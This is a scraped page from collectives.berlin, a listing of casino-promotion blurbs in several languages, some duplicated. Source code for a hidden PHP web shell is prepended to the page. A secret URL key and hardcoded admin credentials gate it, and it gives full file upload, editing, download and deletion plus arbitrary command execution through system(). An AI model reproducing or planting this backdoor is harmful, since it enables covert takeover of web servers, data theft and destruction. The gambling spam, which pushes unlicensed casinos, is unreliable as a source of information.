if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 28 – collectives.berlin

Your digital paradise.

Category: public

  • Why Online Casino Australia 2026 is your go-to destination for online gaming in 2026

    In the rapidly evolving landscape of online gaming, Online Casino Australia 2026 stands out as a premier destination for players seeking excitement and rewards. With a diverse range of games, attractive bonuses, and a user-friendly interface, it promises an unmatched gaming experience. As we delve into the essentials of this vibrant australian online casino scene,…

    Click or not…

  • How to navigate 1Win’s live dealer games: a guide for Indian players

    The online casino world has revolutionized the gaming experience for players in India, offering a plethora of options from slots to live dealer games. As players explore this vibrant ecosystem, understanding how to navigate it effectively is crucial. Many enthusiasts have found great success at 1win , which provides essential insights for Indian players looking…

    Click or not…

  • How to navigate 1Win’s live dealer games: a guide for Indian players

    The online casino world has revolutionized the gaming experience for players in India, offering a plethora of options from slots to live dealer games. As players explore this vibrant ecosystem, understanding how to navigate it effectively is crucial. Many enthusiasts have found great success at 1win , which provides essential insights for Indian players looking…

    Click or not…

  • Online Casino Echtgeld i 2026: Alt om velkomstbonuser og sikre innskudd

    I 2026 ser online casinoer virkelig ut til å være i en ny æra av innovasjon og sikkerhet. Spillere har nå flere muligheter enn noen gang før når det gjelder valg av spill, innskuddsmetoder og bonuser. Med et økende fokus på spillerbeskyttelse og rettferdig spill, er det viktig å vite hva man skal se etter…

    Click or not…

  • Casino Utan Svensk Licens 2026 mobilapp: Spela smidigt var som helst

    Det växande intresset för onlinecasinon utan svensk licens har gjort att fler spelare söker alternativ som erbjuder fler spelmöjligheter och förmånliga bonusar. År 2026 erbjuder dessa casinon en rad spännande funktioner och mobilappar som gör det enkelt att spela var som helst. I denna artikel tar vi en närmare titt på de bästa casinona casino…

    Click or not…

  • En nybörjarguide till de högsta rankade live casino utan licens 2026: så kommer du

    Att börja spela på live casino kan vara både spännande och överväldigande för nybörjare. Utan licens, kan spelare upptäcka en mängd olika alternativ som erbjuder unika bonusar och casino utan licens spelupplevelser. Denna guide syftar till att ge en grundläggande förståelse för hur man navigerar i denna värld 2026, med fokus på de högsta rankade…

    Click or not…

  • Prontobet Casino: Hva du bør vite om lisenser og regulerte spill i 2026

    I den stadig voksende verdenen av online kasinoer kan det være utfordrende å navigere gjennom tilbudene. I 2026 er det flere viktige faktorer å vurdere når du velger et kasino, inkludert lisenser, sikkerhet og spillutvalg. Prontobet Casino skiller seg ut som et regulert alternativ som tilbyr et bredt spekter av spillmuligheter og attraktive bonuser til…

    Click or not…

  • Majestico Casino België en de voordelen van veilige betalingen: wat je moet weten

    In de wereld van online gokken is het kiezen van een betrouwbaar casino essentieel voor een veilige en plezierige ervaring. Majestico Casino België biedt een uitgebreide selectie van spelopties en staat bekend om zijn veilige betalingsmethoden. Veel spelers kiezen voor Majestico vanwege de aantrekkelijke bonussen en de gebruiksvriendelijke interface, wat het een uitstekende keuze maakt…

    Click or not…

  • Як організувати надійний редакційний процес — 047

    Як організувати надійний редакційний процес — 047 Редактор оцінює не лише окремі речення, а й логіку переходів між розділами, аби стаття сприймалася як цілісна історія. Добре підготовлений матеріал відповідає на основні запитання одразу, а додаткові подробиці відкриває поступово й послідовно. Читабельність залежить від конкретних формулювань, помірної довжини абзаців і доречних пояснень для нового читача. Під…

    Click or not…

  • Як організувати надійний редакційний процес — 047

    Як організувати надійний редакційний процес — 047 Редактор оцінює не лише окремі речення, а й логіку переходів між розділами, аби стаття сприймалася як цілісна історія. Добре підготовлений матеріал відповідає на основні запитання одразу, а додаткові подробиці відкриває поступово й послідовно. Читабельність залежить від конкретних формулювань, помірної довжини абзаців і доречних пояснень для нового читача. Під…

    Click or not…